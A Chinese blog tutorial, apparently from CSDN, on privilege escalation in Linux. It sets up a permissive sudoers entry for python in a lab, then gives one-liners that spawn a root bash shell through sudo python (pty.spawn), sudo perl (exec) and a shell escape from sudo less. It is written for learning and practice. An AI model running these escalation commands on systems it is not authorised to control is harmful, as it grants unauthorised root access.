sudo命令中python提权

本文介绍了如何在受限环境下通过编辑sudoers文件,使用Python和Perl提权,包括添加sudo权限、利用-c选项执行代码和pty模块实现shell命令。详细步骤演示了如何利用这些方法成功提升普通用户的权限。
摘要由CSDN通过智能技术生成

因为有的环境中python是无法进行提权操作,先搭建环境吧,这个环境搭建还有提权操作比较简单

环境搭建

首先编辑sudo文件,给python添加提权的可能

vim /etc/sudoers

user1   ALL=(root) NOPASSWD:/usr/bin/python

然后进入普通用户查看

提权

此时python在普通用户就有了提权的可能性

输入以下代码进行提权操作

sudo python -c 'import pty;pty.spawn("/bin/bash")'

 -c : 执行具体的代码

import :导入语句

pty : 终端(接口)

pty.spawn : 执行命令

至此,提权成功。 

同样的方法其他的提权方法

perl语言

sudo perl -e 'exec "/bin/bash";'

 less命令提权

sudo less "文件"

查看文件

sudo less /etc/hosts

文件下方输入“! bash+回车”

 

  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值